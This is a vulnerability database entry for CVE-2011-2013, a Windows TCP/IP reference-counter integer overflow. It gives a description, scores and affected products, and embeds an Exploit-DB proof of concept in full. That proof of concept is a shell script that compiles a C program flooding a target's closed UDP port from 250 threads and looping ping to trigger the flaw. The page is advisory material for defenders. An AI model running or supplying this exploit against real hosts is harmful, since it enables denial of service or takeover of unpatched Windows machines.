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CVE-2011-2013 : Detail

CVE-2011-2013

14.91%V3
Network
2011-11-08 20:00 +00:00
2018-10-12 17:57 +00:00
CVE.org
NVD

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Descriptions

Integer overflow in the TCP/IP implementation in Microsoft Windows Vista SP2, Windows Server 2008 SP2, R2, and R2 SP1, and Windows 7 Gold and SP1 allows remote attackers to execute arbitrary code by sending a sequence of crafted UDP packets to a closed port, aka "Reference Counter Overflow Vulnerability."

Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-189 Category : Numeric Errors
Weaknesses in this category are related to improper calculation or conversion of numbers.

Metrics

Metric Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 36285

Publication date : 2011-11-07 23:00 +00:00
Author : anonymous
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/50517/info Microsoft Windows is prone to a remote integer-overflow vulnerability that affects the TCP/IP stack. An attacker can exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will completely compromise affected computers. Failed exploit attempts may result in a denial-of-service condition. #!/bin/sh cat >> winnuke2011.c << EOF /* * MS11-083 DoS/PoC exploit * ======================== * This attempts to trigger the ICMP refCount overflow * in TCP/IP stack of Win7/Vista/Win2k8 hosts. This * requires sending 2^32 UDP packets to a host on a closed * port, or 4,294,967,296 packets. A dereference function * must be called that is not triggered via UDP but ICMP * echo packets. This exploit creates 250 threads and * floods a host with UDP packets and then attempts to * trigger the de-ref using ping. I calculated that it * would take approximately 52 days for the host to * enter a condition where this vulnerability is * triggerable. * * -- prdelka */ #include #include #include #include #include #include #include #include #include #include #include #include int port; int active = 0; pthread_mutex_t mutexactive; void *sendpackets(void *ptr); int main(int argc, char *argv[]) { pthread_t thread; int iret,lthreads; pid_t pid; printf("[+] MS11-083 DoS/PoC exploit\n"); if(argc<3){ printf("[!] Usage : %s \n", argv[0]); exit(1); } char *const args[] = {"ping",argv[1],NULL}; char *const envp[] = {"",NULL}; port = atoi(argv[2]); for(lthreads=0;lthreads<250;lthreads++){//UDP flood iret = pthread_create(&thread,NULL,sendpackets,argv[1]); printf("[-] Thread number %d started\n",lthreads); sleep(1); } printf("[-] One does not simply barrel roll into Mordor\n"); pid = fork(); if(pid==0){// trigger deref. execve("./ping.sh",args,envp); }; while(active){ } printf("[-] You are finished. Patience is a virtue.\n"); exit(0); } void *sendpackets(void *ptr) { int sd, rc, n, echoLen, flags, error, timeOut; unsigned long i; struct sockaddr_in remoteServAddr; struct hostent *h; char str[41]; pthread_mutex_lock(&mutexactive); active++; pthread_mutex_unlock(&mutexactive); srand(time(NULL)); for (i = 0;i < 40;++i){ str[i] = (char)((rand() % 78) + 30); } str[40] = '\0'; // yes this was off-by-one. :( printf("[-] Sending payload '%s'\n",str); h = gethostbyname(ptr); if(h==NULL) { printf("unknown host '%s' \n",(char*)ptr); exit(1); } remoteServAddr.sin_family = h->h_addrtype; memcpy((char *) &remoteServAddr.sin_addr.s_addr,h->h_addr_list[0], h->h_length); remoteServAddr.sin_port = htons(port); sd = socket(AF_INET,SOCK_DGRAM,0); if(sd<0){ printf("[!] Cannot open socket\n"); pthread_exit((void*)0); } flags = 0; for(i=0;i<4294967295;i++){ rc = sendto(sd,str,strlen(str)+1,flags,(struct sockaddr *)&remoteServAddr,sizeof(remoteServAddr)); if(rc<0){ printf("[!] Cannot send data\n"); close(sd); pthread_exit((void*)0); } } pthread_mutex_lock(&mutexactive); active--; pthread_mutex_unlock(&mutexactive); pthread_exit(NULL); } EOF cat >> ping.sh << EOF #!/bin/sh while \`true\`;do /sbin/ping -c 1 \$1;done EOF chmod +x ping.sh gcc winnuke2011.c -o winnuke2011 ./winnuke2011

Products Mentioned

Configuraton 0

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_vista >> Version *

References

http://www.securitytracker.com/id?1026290
Tags : vdb-entry, x_refsource_SECTRACK

More information
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